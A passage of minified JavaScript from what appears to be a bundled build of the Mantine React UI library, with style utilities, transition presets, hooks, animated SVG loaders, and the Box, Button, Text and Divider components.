e?uS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,ja=(e,t)=>{for(var r in t||(t={}))cS.call(t,r)&&Gf(e,r,t[r]);if(Uf)for(var r of Uf(t))fS.call(t,r)&&Gf(e,r,t[r]);return e};function As(e,t){return t&&Object.keys(t).forEach(r=>{e[r]?e[r]=ja(ja({},e[r]),t[r]):e[r]=ja({},t[r])}),e}function Yf(e,t,r,n){const o=i=>typeof i=="function"?i(t,r||{},n):i||{};return Array.isArray(e)?e.map(i=>o(i.styles)).reduce((i,l)=>As(i,l),{}):o(e)}function dS({ctx:e,theme:t,params:r,variant:n,size:o}){return e.reduce((i,l)=>(l.variants&&n in l.variants&&As(i,l.variants[n](t,r,{variant:n,size:o})),l.sizes&&o in l.sizes&&As(i,l.sizes[o](t,r,{variant:n,size:o})),i),{})}function Se(e){const t=typeof e=="function"?e:()=>e;function r(n,o){const i=vr(),l=J_(o==null?void 0:o.name),a=ng(),s={variant:o==null?void 0:o.variant,size:o==null?void 0:o.size},{css:u,cx:p}=ig(),m=t(i,n,s),d=Yf(o==null?void 0:o.styles,i,n,s),g=Yf(l,i,n,s),h=dS({ctx:l,theme:i,params:n,variant:o==null?void 0:o.variant,size:o==null?void 0:o.size}),v=Object.fromEntries(Object.keys(m).map(x=>{const f=p({[u(m[x])]:!(o!=null&&o.unstyled)},u(h[x]),u(g[x]),u(d[x]));return[x,f]}));return{classes:sS({cx:p,classes:v,context:l,classNames:o==null?void 0:o.classNames,name:o==null?void 0:o.name,cache:a}),cx:p,theme:i}}return r}function Nn(e){return`___ref-${e||""}`}var pS=Object.defineProperty,mS=Object.defineProperties,yS=Object.getOwnPropertyDescriptors,Qf=Object.getOwnPropertySymbols,gS=Object.prototype.hasOwnProperty,vS=Object.prototype.propertyIsEnumerable,Xf=(e,t,r)=>t in e?pS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Tn=(e,t)=>{for(var r in t||(t={}))gS.call(t,r)&&Xf(e,r,t[r]);if(Qf)for(var r of Qf(t))vS.call(t,r)&&Xf(e,r,t[r]);return e},zn=(e,t)=>mS(e,yS(t));const Rn={in:{opacity:1,transform:"scale(1)"},out:{opacity:0,transform:`scale(.9) translateY(${w(10)})`},transitionProperty:"transform, opacity"},Uo={fade:{in:{opacity:1},out:{opacity:0},transitionProperty:"opacity"},scale:{in:{opacity:1,transform:"scale(1)"},out:{opacity:0,transform:"scale(0)"},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"scale-y":{in:{opacity:1,transform:"scaleY(1)"},out:{opacity:0,transform:"scaleY(0)"},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"scale-x":{in:{opacity:1,transform:"scaleX(1)"},out:{opacity:0,transform:"scaleX(0)"},common:{transformOrigin:"left"},transitionProperty:"transform, opacity"},"skew-up":{in:{opacity:1,transform:"translateY(0) skew(0deg, 0deg)"},out:{opacity:0,transform:`translateY(-${w(20)}) skew(-10deg, -5deg)`},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"skew-down":{in:{opacity:1,transform:"translateY(0) skew(0deg, 0deg)"},out:{opacity:0,transform:`translateY(${w(20)}) skew(-10deg, -5deg)`},common:{transformOrigin:"bottom"},transitionProperty:"transform, opacity"},"rotate-left":{in:{opacity:1,transform:"translateY(0) rotate(0deg)"},out:{opacity:0,transform:`translateY(${w(20)}) rotate(-5deg)`},common:{transformOrigin:"bottom"},transitionProperty:"transform, opacity"},"rotate-right":{in:{opacity:1,transform:"translateY(0) rotate(0deg)"},out:{opacity:0,transform:`translateY(${w(20)}) rotate(5deg)`},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"slide-down":{in:{opacity:1,transform:"translateY(0)"},out:{opacity:0,transform:"translateY(-100%)"},common:{transformOrigin:"top"},transitionProperty:"transform, opacity"},"slide-up":{in:{opacity:1,transform:"translateY(0)"},out:{opacity:0,transform:"translateY(100%)"},common:{transformOrigin:"bottom"},transitionProperty:"transform, opacity"},"slide-left":{in:{opacity:1,transform:"translateX(0)"},out:{opacity:0,transform:"translateX(100%)"},common:{transformOrigin:"left"},transitionProperty:"transform, opacity"},"slide-right":{in:{opacity:1,transform:"translateX(0)"},out:{opacity:0,transform:"translateX(-100%)"},common:{transformOrigin:"right"},transitionProperty:"transform, opacity"},pop:zn(Tn({},Rn),{common:{transformOrigin:"center center"}}),"pop-bottom-left":zn(Tn({},Rn),{common:{transformOrigin:"bottom left"}}),"pop-bottom-right":zn(Tn({},Rn),{common:{transformOrigin:"bottom right"}}),"pop-top-left":zn(Tn({},Rn),{common:{transformOrigin:"top left"}}),"pop-top-right":zn(Tn({},Rn),{common:{transformOrigin:"top right"}})};function hS(e,t){try{return e.addEventListener("change",t),()=>e.removeEventListener("change",t)}catch{return e.addListener(t),()=>e.removeListener(t)}}function wS(e,t){return typeof t=="boolean"?t:typeof window<"u"&&"matchMedia"in window?window.matchMedia(e).matches:!1}function _S(e,t,{getInitialValueInEffect:r}={getInitialValueInEffect:!0}){const[n,o]=$.exports.useState(r?t:wS(e,t)),i=$.exports.useRef();return $.exports.useEffect(()=>{if("matchMedia"in window)return i.current=window.matchMedia(e),o(i.current.matches),hS(i.current,l=>o(l.matches))},[e]),n}function Xn(e,t,r){return Math.min(Math.max(e,t),r)}const lg=typeof document<"u"?$.exports.useLayoutEffect:$.exports.useEffect;function SS(e,t){const r=$.exports.useRef(!1);$.exports.useEffect(()=>()=>{r.current=!1},[]),$.exports.useEffect(()=>{if(r.current)return e();r.current=!0},t)}const PS=yp["useId".toString()]||(()=>{});function OS(){const e=PS();return e?`mantine-${e.replace(/:/g,"")}`:""}function xS(){return`mantine-${Math.random().toString(36).slice(2,11)}`}function ag(e){const t=OS(),[r,n]=$.exports.useState(t);return lg(()=>{n(xS())},[]),typeof e=="string"?e:typeof window>"u"?t:r}function $S(e,t){typeof e=="function"?e(t):typeof e=="object"&&e!==null&&"current"in e&&(e.current=t)}function kS(...e){return t=>{e.forEach(r=>$S(r,t))}}function sg(...e){return $.exports.useCallback(kS(...e),e)}function bS(e,t,r="ltr"){const n=$.exports.useRef(),o=$.exports.useRef(!1),i=$.exports.useRef(!1),l=$.exports.useRef(0),[a,s]=$.exports.useState(!1);return $.exports.useEffect(()=>{o.current=!0},[]),$.exports.useEffect(()=>{const u=({x:c,y})=>{cancelAnimationFrame(l.current),l.current=requestAnimationFrame(()=>{if(o.current&&n.current){n.current.style.userSelect="none";const S=n.current.getBoundingClientRect();if(S.width&&S.height){const k=Xn((c-S.left)/S.width,0,1);e({x:r==="ltr"?k:1-k,y:Xn((y-S.top)/S.height,0,1)})}}})},p=()=>{document.addEventListener("mousemove",v),document.addEventListener("mouseup",g),document.addEventListener("touchmove",f),document.addEventListener("touchend",g)},m=()=>{document.removeEventListener("mousemove",v),document.removeEventListener("mouseup",g),document.removeEventListener("touchmove",f),document.removeEventListener("touchend",g)},d=()=>{!i.current&&o.current&&(i.current=!0,typeof(t==null?void 0:t.onScrubStart)=="function"&&t.onScrubStart(),s(!0),p())},g=()=>{i.current&&o.current&&(i.current=!1,s(!1),m(),setTimeout(()=>{typeof(t==null?void 0:t.onScrubEnd)=="function"&&t.onScrubEnd()},0))},h=c=>{d(),c.preventDefault(),v(c)},v=c=>u({x:c.clientX,y:c.clientY}),x=c=>{c.cancelable&&c.preventDefault(),d(),f(c)},f=c=>{c.cancelable&&c.preventDefault(),u({x:c.changedTouches[0].clientX,y:c.changedTouches[0].clientY})};return n.current.addEventListener("mousedown",h),n.current.addEventListener("touchstart",x,{passive:!1}),()=>{n.current&&(n.current.removeEventListener("mousedown",h),n.current.removeEventListener("touchstart",x))}},[r,e]),{ref:n,active:a}}function na({value:e,defaultValue:t,finalValue:r,onChange:n=()=>{}}){const[o,i]=$.exports.useState(t!==void 0?t:r),l=a=>{i(a),n==null||n(a)};return e!==void 0?[e,n,!0]:[o,l,!1]}function ug(e,t){return _S("(prefers-reduced-motion: reduce)",e,t)}const ES={x:0,y:0,width:0,height:0,top:0,left:0,bottom:0,right:0};function CS(){const e=$.exports.useRef(0),t=$.exports.useRef(null),[r,n]=$.exports.useState(ES),o=$.exports.useMemo(()=>typeof window<"u"?new ResizeObserver(i=>{const l=i[0];l&&(cancelAnimationFrame(e.current),e.current=requestAnimationFrame(()=>{t.current&&n(l.contentRect)}))}):null,[]);return $.exports.useEffect(()=>(t.current&&o.observe(t.current),()=>{o.disconnect(),e.current&&cancelAnimationFrame(e.current)}),[t.current]),[t,r]}var Kf=Object.getOwnPropertySymbols,NS=Object.prototype.hasOwnProperty,TS=Object.prototype.propertyIsEnumerable,zS=(e,t)=>{var r={};for(var n in e)NS.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Kf)for(var n of Kf(e))t.indexOf(n)<0&&TS.call(e,n)&&(r[n]=e[n]);return r};function Ju(e){const t=e,{m:r,mx:n,my:o,mt:i,mb:l,ml:a,mr:s,p:u,px:p,py:m,pt:d,pb:g,pl:h,pr:v,bg:x,c:f,opacity:c,ff:y,fz:S,fw:k,lts:b,ta:O,lh:N,fs:H,tt:R,td:I,w:G,miw:Y,maw:ce,h:re,mih:ze,mah:ne,bgsz:T,bgp:F,bgr:M,bga:B,pos:_,top:C,left:z,bottom:D,right:j,inset:A,display:U}=t,te=zS(t,["m","mx","my","mt","mb","ml","mr","p","px","py","pt","pb","pl","pr","bg","c","opacity","ff","fz","fw","lts","ta","lh","fs","tt","td","w","miw","maw","h","mih","mah","bgsz","bgp","bgr","bga","pos","top","left","bottom","right","inset","display"]);return{systemStyles:rg({m:r,mx:n,my:o,mt:i,mb:l,ml:a,mr:s,p:u,px:p,py:m,pt:d,pb:g,pl:h,pr:v,bg:x,c:f,opacity:c,ff:y,fz:S,fw:k,lts:b,ta:O,lh:N,fs:H,tt:R,td:I,w:G,miw:Y,maw:ce,h:re,mih:ze,mah:ne,bgsz:T,bgp:F,bgr:M,bga:B,pos:_,top:C,left:z,bottom:D,right:j,inset:A,display:U}),rest:te}}function RS(e,t){const r=Object.keys(e).filter(n=>n!=="base").sort((n,o)=>Bi(V({size:n,sizes:t.breakpoints}))-Bi(V({size:o,sizes:t.breakpoints})));return"base"in e?["base",...r]:r}function DS({value:e,theme:t,getValue:r,property:n}){if(e==null)return;if(typeof e=="object")return RS(e,t).reduce((l,a)=>{if(a==="base"&&e.base!==void 0){const u=r(e.base,t);return Array.isArray(n)?(n.forEach(p=>{l[p]=u}),l):(l[n]=u,l)}const s=r(e[a],t);return Array.isArray(n)?(l[t.fn.largerThan(a)]={},n.forEach(u=>{l[t.fn.largerThan(a)][u]=s}),l):(l[t.fn.largerThan(a)]={[n]:s},l)},{});const o=r(e,t);return Array.isArray(n)?n.reduce((i,l)=>(i[l]=o,i),{}):{[n]:o}}function jS(e,t){return e==="dimmed"?t.colorScheme==="dark"?t.colors.dark[2]:t.colors.gray[6]:t.fn.variant({variant:"filled",color:e,primaryFallback:!1}).background}function IS(e){return w(e)}function MS(e){return e}function LS(e,t){return V({size:e,sizes:t.fontSizes})}const FS=["-xs","-sm","-md","-lg","-xl"];function AS(e,t){return FS.includes(e)?`calc(${V({size:e.replace("-",""),sizes:t.spacing})} * -1)`:V({size:e,sizes:t.spacing})}const WS={identity:MS,color:jS,size:IS,fontSize:LS,spacing:AS},VS={m:{type:"spacing",property:"margin"},mt:{type:"spacing",property:"marginTop"},mb:{type:"spacing",property:"marginBottom"},ml:{type:"spacing",property:"marginLeft"},mr:{type:"spacing",property:"marginRight"},mx:{type:"spacing",property:["marginRight","marginLeft"]},my:{type:"spacing",property:["marginTop","marginBottom"]},p:{type:"spacing",property:"padding"},pt:{type:"spacing",property:"paddingTop"},pb:{type:"spacing",property:"paddingBottom"},pl:{type:"spacing",property:"paddingLeft"},pr:{type:"spacing",property:"paddingRight"},px:{type:"spacing",property:["paddingRight","paddingLeft"]},py:{type:"spacing",property:["paddingTop","paddingBottom"]},bg:{type:"color",property:"background"},c:{type:"color",property:"color"},opacity:{type:"identity",property:"opacity"},ff:{type:"identity",property:"fontFamily"},fz:{type:"fontSize",property:"fontSize"},fw:{type:"identity",property:"fontWeight"},lts:{type:"size",property:"letterSpacing"},ta:{type:"identity",property:"textAlign"},lh:{type:"identity",property:"lineHeight"},fs:{type:"identity",property:"fontStyle"},tt:{type:"identity",property:"textTransform"},td:{type:"identity",property:"textDecoration"},w:{type:"spacing",property:"width"},miw:{type:"spacing",property:"minWidth"},maw:{type:"spacing",property:"maxWidth"},h:{type:"spacing",property:"height"},mih:{type:"spacing",property:"minHeight"},mah:{type:"spacing",property:"maxHeight"},bgsz:{type:"size",property:"backgroundSize"},bgp:{type:"identity",property:"backgroundPosition"},bgr:{type:"identity",property:"backgroundRepeat"},bga:{type:"identity",property:"backgroundAttachment"},pos:{type:"identity",property:"position"},top:{type:"identity",property:"top"},left:{type:"size",property:"left"},bottom:{type:"size",property:"bottom"},right:{type:"size",property:"right"},inset:{type:"size",property:"inset"},display:{type:"identity",property:"display"}};var HS=Object.defineProperty,Zf=Object.getOwnPropertySymbols,BS=Object.prototype.hasOwnProperty,US=Object.prototype.propertyIsEnumerable,Jf=(e,t,r)=>t in e?HS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,qf=(e,t)=>{for(var r in t||(t={}))BS.call(t,r)&&Jf(e,r,t[r]);if(Zf)for(var r of Zf(t))US.call(t,r)&&Jf(e,r,t[r]);return e};function Ws(e,t,r=VS){return Object.keys(r).reduce((o,i)=>(i in e&&e[i]!==void 0&&o.push(DS({value:e[i],getValue:WS[r[i].type],property:r[i].property,theme:t})),o),[]).reduce((o,i)=>(Object.keys(i).forEach(l=>{typeof i[l]=="object"&&i[l]!==null&&l in o?o[l]=qf(qf({},o[l]),i[l]):o[l]=i[l]}),o),{})}function ed(e,t){return typeof e=="function"?e(t):e}function GS(e,t,r){const n=vr(),{css:o,cx:i}=ig();return Array.isArray(e)?i(r,o(Ws(t,n)),e.map(l=>o(ed(l,n)))):i(r,o(ed(e,n)),o(Ws(t,n)))}var YS=Object.defineProperty,Yi=Object.getOwnPropertySymbols,cg=Object.prototype.hasOwnProperty,fg=Object.prototype.propertyIsEnumerable,td=(e,t,r)=>t in e?YS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,QS=(e,t)=>{for(var r in t||(t={}))cg.call(t,r)&&td(e,r,t[r]);if(Yi)for(var r of Yi(t))fg.call(t,r)&&td(e,r,t[r]);return e},XS=(e,t)=>{var r={};for(var n in e)cg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Yi)for(var n of Yi(e))t.indexOf(n)<0&&fg.call(e,n)&&(r[n]=e[n]);return r};const dg=$.exports.forwardRef((e,t)=>{var r=e,{className:n,component:o,style:i,sx:l}=r,a=XS(r,["className","component","style","sx"]);const{systemStyles:s,rest:u}=Ju(a);return P(o||"div",{...QS({ref:t,className:GS(l,s,n),style:i},u)})});dg.displayName="@mantine/core/Box";const me=dg;var KS=Object.defineProperty,ZS=Object.defineProperties,JS=Object.getOwnPropertyDescriptors,rd=Object.getOwnPropertySymbols,qS=Object.prototype.hasOwnProperty,eP=Object.prototype.propertyIsEnumerable,nd=(e,t,r)=>t in e?KS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,od=(e,t)=>{for(var r in t||(t={}))qS.call(t,r)&&nd(e,r,t[r]);if(rd)for(var r of rd(t))eP.call(t,r)&&nd(e,r,t[r]);return e},tP=(e,t)=>ZS(e,JS(t)),rP=Se(e=>({root:tP(od(od({},e.fn.focusStyles()),e.fn.fontStyles()),{cursor:"pointer",border:0,padding:0,appearance:"none",fontSize:e.fontSizes.md,backgroundColor:"transparent",textAlign:"left",color:e.colorScheme==="dark"?e.colors.dark[0]:e.black,textDecoration:"none",boxSizing:"border-box"})}));const nP=rP;var oP=Object.defineProperty,Qi=Object.getOwnPropertySymbols,pg=Object.prototype.hasOwnProperty,mg=Object.prototype.propertyIsEnumerable,id=(e,t,r)=>t in e?oP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,iP=(e,t)=>{for(var r in t||(t={}))pg.call(t,r)&&id(e,r,t[r]);if(Qi)for(var r of Qi(t))mg.call(t,r)&&id(e,r,t[r]);return e},lP=(e,t)=>{var r={};for(var n in e)pg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Qi)for(var n of Qi(e))t.indexOf(n)<0&&mg.call(e,n)&&(r[n]=e[n]);return r};const yg=$.exports.forwardRef((e,t)=>{const r=he("UnstyledButton",{},e),{className:n,component:o="button",unstyled:i,variant:l}=r,a=lP(r,["className","component","unstyled","variant"]),{classes:s,cx:u}=nP(null,{name:"UnstyledButton",unstyled:i,variant:l});return P(me,{...iP({component:o,ref:t,className:u(s.root,n),type:o==="button"?"button":void 0},a)})});yg.displayName="@mantine/core/UnstyledButton";const aP=yg;var sP=Object.defineProperty,Xi=Object.getOwnPropertySymbols,gg=Object.prototype.hasOwnProperty,vg=Object.prototype.propertyIsEnumerable,ld=(e,t,r)=>t in e?sP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,uP=(e,t)=>{for(var r in t||(t={}))gg.call(t,r)&&ld(e,r,t[r]);if(Xi)for(var r of Xi(t))vg.call(t,r)&&ld(e,r,t[r]);return e},cP=(e,t)=>{var r={};for(var n in e)gg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Xi)for(var n of Xi(e))t.indexOf(n)<0&&vg.call(e,n)&&(r[n]=e[n]);return r};function fP(e){var t=e,{size:r,color:n}=t,o=cP(t,["size","color"]);return Z("svg",{...uP({viewBox:"0 0 135 140",xmlns:"http://www.w3.org/2000/svg",fill:n,width:r},o),children:[Z("rect",{y:"10",width:"15",height:"120",rx:"6",children:[P("animate",{attributeName:"height",begin:"0.5s",dur:"1s",values:"120;110;100;90;80;70;60;50;40;140;120",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"y",begin:"0.5s",dur:"1s",values:"10;15;20;25;30;35;40;45;50;0;10",calcMode:"linear",repeatCount:"indefinite"})]}),Z("rect",{x:"30",y:"10",width:"15",height:"120",rx:"6",children:[P("animate",{attributeName:"height",begin:"0.25s",dur:"1s",values:"120;110;100;90;80;70;60;50;40;140;120",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"y",begin:"0.25s",dur:"1s",values:"10;15;20;25;30;35;40;45;50;0;10",calcMode:"linear",repeatCount:"indefinite"})]}),Z("rect",{x:"60",width:"15",height:"140",rx:"6",children:[P("animate",{attributeName:"height",begin:"0s",dur:"1s",values:"120;110;100;90;80;70;60;50;40;140;120",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"y",begin:"0s",dur:"1s",values:"10;15;20;25;30;35;40;45;50;0;10",calcMode:"linear",repeatCount:"indefinite"})]}),Z("rect",{x:"90",y:"10",width:"15",height:"120",rx:"6",children:[P("animate",{attributeName:"height",begin:"0.25s",dur:"1s",values:"120;110;100;90;80;70;60;50;40;140;120",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"y",begin:"0.25s",dur:"1s",values:"10;15;20;25;30;35;40;45;50;0;10",calcMode:"linear",repeatCount:"indefinite"})]}),Z("rect",{x:"120",y:"10",width:"15",height:"120",rx:"6",children:[P("animate",{attributeName:"height",begin:"0.5s",dur:"1s",values:"120;110;100;90;80;70;60;50;40;140;120",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"y",begin:"0.5s",dur:"1s",values:"10;15;20;25;30;35;40;45;50;0;10",calcMode:"linear",repeatCount:"indefinite"})]})]})}var dP=Object.defineProperty,Ki=Object.getOwnPropertySymbols,hg=Object.prototype.hasOwnProperty,wg=Object.prototype.propertyIsEnumerable,ad=(e,t,r)=>t in e?dP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,pP=(e,t)=>{for(var r in t||(t={}))hg.call(t,r)&&ad(e,r,t[r]);if(Ki)for(var r of Ki(t))wg.call(t,r)&&ad(e,r,t[r]);return e},mP=(e,t)=>{var r={};for(var n in e)hg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Ki)for(var n of Ki(e))t.indexOf(n)<0&&wg.call(e,n)&&(r[n]=e[n]);return r};function yP(e){var t=e,{size:r,color:n}=t,o=mP(t,["size","color"]);return P("svg",{...pP({width:r,height:r,viewBox:"0 0 38 38",xmlns:"http://www.w3.org/2000/svg",stroke:n},o),children:P("g",{fill:"none",fillRule:"evenodd",children:Z("g",{transform:"translate(2.5 2.5)",strokeWidth:"5",children:[P("circle",{strokeOpacity:".5",cx:"16",cy:"16",r:"16"}),P("path",{d:"M32 16c0-9.94-8.06-16-16-16",children:P("animateTransform",{attributeName:"transform",type:"rotate",from:"0 16 16",to:"360 16 16",dur:"1s",repeatCount:"indefinite"})})]})})})}var gP=Object.defineProperty,Zi=Object.getOwnPropertySymbols,_g=Object.prototype.hasOwnProperty,Sg=Object.prototype.propertyIsEnumerable,sd=(e,t,r)=>t in e?gP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,vP=(e,t)=>{for(var r in t||(t={}))_g.call(t,r)&&sd(e,r,t[r]);if(Zi)for(var r of Zi(t))Sg.call(t,r)&&sd(e,r,t[r]);return e},hP=(e,t)=>{var r={};for(var n in e)_g.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Zi)for(var n of Zi(e))t.indexOf(n)<0&&Sg.call(e,n)&&(r[n]=e[n]);return r};function wP(e){var t=e,{size:r,color:n}=t,o=hP(t,["size","color"]);return Z("svg",{...vP({width:r,viewBox:"0 0 120 30",xmlns:"http://www.w3.org/2000/svg",fill:n},o),children:[Z("circle",{cx:"15",cy:"15",r:"15",children:[P("animate",{attributeName:"r",from:"15",to:"15",begin:"0s",dur:"0.8s",values:"15;9;15",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"fill-opacity",from:"1",to:"1",begin:"0s",dur:"0.8s",values:"1;.5;1",calcMode:"linear",repeatCount:"indefinite"})]}),Z("circle",{cx:"60",cy:"15",r:"9",fillOpacity:"0.3",children:[P("animate",{attributeName:"r",from:"9",to:"9",begin:"0s",dur:"0.8s",values:"9;15;9",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"fill-opacity",from:"0.5",to:"0.5",begin:"0s",dur:"0.8s",values:".5;1;.5",calcMode:"linear",repeatCount:"indefinite"})]}),Z("circle",{cx:"105",cy:"15",r:"15",children:[P("animate",{attributeName:"r",from:"15",to:"15",begin:"0s",dur:"0.8s",values:"15;9;15",calcMode:"linear",repeatCount:"indefinite"}),P("animate",{attributeName:"fill-opacity",from:"1",to:"1",begin:"0s",dur:"0.8s",values:"1;.5;1",calcMode:"linear",repeatCount:"indefinite"})]})]})}var _P=Object.defineProperty,Ji=Object.getOwnPropertySymbols,Pg=Object.prototype.hasOwnProperty,Og=Object.prototype.propertyIsEnumerable,ud=(e,t,r)=>t in e?_P(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,SP=(e,t)=>{for(var r in t||(t={}))Pg.call(t,r)&&ud(e,r,t[r]);if(Ji)for(var r of Ji(t))Og.call(t,r)&&ud(e,r,t[r]);return e},PP=(e,t)=>{var r={};for(var n in e)Pg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&Ji)for(var n of Ji(e))t.indexOf(n)<0&&Og.call(e,n)&&(r[n]=e[n]);return r};const Ia={bars:fP,oval:yP,dots:wP},OP={xs:w(18),sm:w(22),md:w(36),lg:w(44),xl:w(58)},xP={size:"md"};function xg(e){const t=he("Loader",xP,e),{size:r,color:n,variant:o}=t,i=PP(t,["size","color","variant"]),l=vr(),a=o in Ia?o:l.loader;return P(me,{...SP({role:"presentation",component:Ia[a]||Ia.bars,size:V({size:r,sizes:OP}),color:l.fn.variant({variant:"filled",primaryFallback:!1,color:n||l.primaryColor}).background},i)})}xg.displayName="@mantine/core/Loader";var $P=Object.defineProperty,kP=Object.defineProperties,bP=Object.getOwnPropertyDescriptors,cd=Object.getOwnPropertySymbols,EP=Object.prototype.hasOwnProperty,CP=Object.prototype.propertyIsEnumerable,fd=(e,t,r)=>t in e?$P(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,Go=(e,t)=>{for(var r in t||(t={}))EP.call(t,r)&&fd(e,r,t[r]);if(cd)for(var r of cd(t))CP.call(t,r)&&fd(e,r,t[r]);return e},NP=(e,t)=>kP(e,bP(t));function TP({underline:e,strikethrough:t}){const r=[];return e&&r.push("underline"),t&&r.push("line-through"),r.length>0?r.join(" "):"none"}function zP({theme:e,color:t}){return t==="dimmed"?e.fn.dimmed():typeof t=="string"&&(t in e.colors||t.split(".")[0]in e.colors)?e.fn.variant({variant:"filled",color:t}).background:t||"inherit"}function RP(e){return typeof e=="number"?{overflow:"hidden",textOverflow:"ellipsis",display:"-webkit-box",WebkitLineClamp:e,WebkitBoxOrient:"vertical"}:null}function DP({theme:e,truncate:t}){return t==="start"?{overflow:"hidden",textOverflow:"ellipsis",whiteSpace:"nowrap",direction:e.dir==="ltr"?"rtl":"ltr",textAlign:e.dir==="ltr"?"right":"left"}:t?{overflow:"hidden",textOverflow:"ellipsis",whiteSpace:"nowrap"}:null}var jP=Se((e,{color:t,lineClamp:r,truncate:n,inline:o,inherit:i,underline:l,gradient:a,weight:s,transform:u,align:p,strikethrough:m,italic:d},{size:g})=>{const h=e.fn.variant({variant:"gradient",gradient:a});return{root:NP(Go(Go(Go(Go({},e.fn.fontStyles()),e.fn.focusStyles()),RP(r)),DP({theme:e,truncate:n})),{color:zP({color:t,theme:e}),fontFamily:i?"inherit":e.fontFamily,fontSize:i||g===void 0?"inherit":V({size:g,sizes:e.fontSizes}),lineHeight:i?"inherit":o?1:e.lineHeight,textDecoration:TP({underline:l,strikethrough:m}),WebkitTapHighlightColor:"transparent",fontWeight:i?"inherit":s,textTransform:u,textAlign:p,fontStyle:d?"italic":void 0}),gradient:{backgroundImage:h.background,WebkitBackgroundClip:"text",WebkitTextFillColor:"transparent"}}});const IP=jP;var MP=Object.defineProperty,qi=Object.getOwnPropertySymbols,$g=Object.prototype.hasOwnProperty,kg=Object.prototype.propertyIsEnumerable,dd=(e,t,r)=>t in e?MP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,LP=(e,t)=>{for(var r in t||(t={}))$g.call(t,r)&&dd(e,r,t[r]);if(qi)for(var r of qi(t))kg.call(t,r)&&dd(e,r,t[r]);return e},FP=(e,t)=>{var r={};for(var n in e)$g.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&qi)for(var n of qi(e))t.indexOf(n)<0&&kg.call(e,n)&&(r[n]=e[n]);return r};const AP={variant:"text"},bg=$.exports.forwardRef((e,t)=>{const r=he("Text",AP,e),{className:n,size:o,weight:i,transform:l,color:a,align:s,variant:u,lineClamp:p,truncate:m,gradient:d,inline:g,inherit:h,underline:v,strikethrough:x,italic:f,classNames:c,styles:y,unstyled:S,span:k,__staticSelector:b}=r,O=FP(r,["className","size","weight","transform","color","align","variant","lineClamp","truncate","gradient","inline","inherit","underline","strikethrough","italic","classNames","styles","unstyled","span","__staticSelector"]),{classes:N,cx:H}=IP({color:a,lineClamp:p,truncate:m,inline:g,inherit:h,underline:v,strikethrough:x,italic:f,weight:i,transform:l,align:s,gradient:d},{unstyled:S,name:b||"Text",variant:u,size:o});return P(me,{...LP({ref:t,className:H(N.root,{[N.gradient]:u==="gradient"},n),component:k?"span":"div"},O)})});bg.displayName="@mantine/core/Text";const xr=bg,Yo={xs:w(1),sm:w(2),md:w(3),lg:w(4),xl:w(5)};function Qo(e,t){const r=e.fn.variant({variant:"outline",color:t}).border;return typeof t=="string"&&(t in e.colors||t.split(".")[0]in e.colors)?r:t===void 0?e.colorScheme==="dark"?e.colors.dark[4]:e.colors.gray[4]:t}var WP=Se((e,{color:t},{size:r,variant:n})=>({root:{},withLabel:{borderTop:"0 !important"},left:{"&::before":{display:"none"}},right:{"&::after":{display:"none"}},label:{display:"flex",alignItems:"center","&::before":{content:'""',flex:1,height:w(1),borderTop:`${V({size:r,sizes:Yo})} ${n} ${Qo(e,t)}`,marginRight:e.spacing.xs},"&::after":{content:'""',flex:1,borderTop:`${V({size:r,sizes:Yo})} ${n} ${Qo(e,t)}`,marginLeft:e.spacing.xs}},labelDefaultStyles:{color:t==="dark"?e.colors.dark[1]:e.fn.themeColor(t,e.colorScheme==="dark"?5:e.fn.primaryShade(),!1)},horizontal:{border:0,borderTopWidth:w(V({size:r,sizes:Yo})),borderTopColor:Qo(e,t),borderTopStyle:n,margin:0},vertical:{border:0,alignSelf:"stretch",height:"auto",borderLeftWidth:w(V({size:r,sizes:Yo})),borderLeftColor:Qo(e,t),borderLeftStyle:n}}));const VP=WP;var HP=Object.defineProperty,BP=Object.defineProperties,UP=Object.getOwnPropertyDescriptors,el=Object.getOwnPropertySymbols,Eg=Object.prototype.hasOwnProperty,Cg=Object.prototype.propertyIsEnumerable,pd=(e,t,r)=>t in e?HP(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,md=(e,t)=>{for(var r in t||(t={}))Eg.call(t,r)&&pd(e,r,t[r]);if(el)for(var r of el(t))Cg.call(t,r)&&pd(e,r,t[r]);return e},GP=(e,t)=>BP(e,UP(t)),YP=(e,t)=>{var r={};for(var n in e)Eg.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&el)for(var n of 